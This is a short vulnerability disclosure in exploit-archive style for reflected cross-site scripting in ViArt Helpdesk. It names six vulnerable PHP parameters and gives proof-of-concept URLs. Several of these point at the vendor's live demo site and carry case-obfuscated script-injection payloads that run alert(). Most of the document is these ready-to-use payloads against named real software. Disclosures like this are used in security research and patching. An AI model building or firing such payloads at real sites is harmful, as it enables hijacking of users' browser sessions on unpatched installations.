ViArt Helpdesk Cross Site Scripting

`/*  
  
_____ _ ___ __   
| ____|_ _(_) \ \ / /_ _ _ _   
| _| \ \ / / | |\ \ /\ / / _` | | | |  
| |___ \ V /| | | \ V V / (_| | |_| |  
|_____| \_/ |_|_| \_/\_/ \__,_|\__, |  
|___/   
_____   
|_ _|__ __ _ _ __ ___   
| |/ _ \/ _` | '_ ` _ \   
| | __/ (_| | | | | | |  
|_|\___|\__,_|_| |_| |_|  
  
ViArt Helpdesk Remote XSS Vulnerabilities  
  
Discovered By : Moudi  
Contact : <[email protected]>  
Download : http://www.viart.com/helpdesk  
  
Greetings : Mizoz, Zuka, str0ke, 599eme Man.  
  
*/  
  
[+] Exploit XSS:  
  
- Vulnerable code in forum.php (forum_id).  
- Vulnerable code in article.php (category_id).  
- Vulnerable code in products.php (category_id).  
- Vulnerable code in products_search.php (search_category_id).  
- Vulnerable code in product_details.php (category_id).  
- Vulnerable code in reviews.php (category_id).  
  
- Poc:  
http://127.0.0.1/article.php?category_id=[XSS]  
http://127.0.0.1/forum.php?forum_id=[XSS]  
http://127.0.0.1/products.php?category_id=[XSS]  
http://127.0.0.1/products_search.php?search_category_id=[XSS]  
http://127.0.0.1/product_details.php?category_id=[XSS]  
http://127.0.0.1/reviews.php?category_id=[XSS]  
http://www.viart.com/helpdesk-demo/article.php?category_id=1--><ScRiPt %0D%0A>alert(516318270235)%3B</ScRiPt>  
http://www.viart.com/helpdesk-demo/forum.php?forum_id=1>"><ScRiPt %0D%0A>alert(414577246752)%3B</ScRiPt>  
http://www.viart.com/helpdesk-demo/products.php?category_id=1>"><ScRiPt %0D%0A>alert(414577246752)%3B</ScRiPt>  
http://www.viart.com/helpdesk-demo/products_search.php?search_category_id=1>"><ScRiPt %0D%0A>alert(414577246752)%3B</ScRiPt>  
http://www.viart.com/helpdesk-demo/product_details.php?category_id=1>"><ScRiPt %0D%0A>alert(414577246752)%3B</ScRiPt>  
http://www.viart.com/helpdesk-demo/reviews.php?category_id=1>"><ScRiPt %0D%0A>alert(414577246752)%3B</ScRiPt>  
`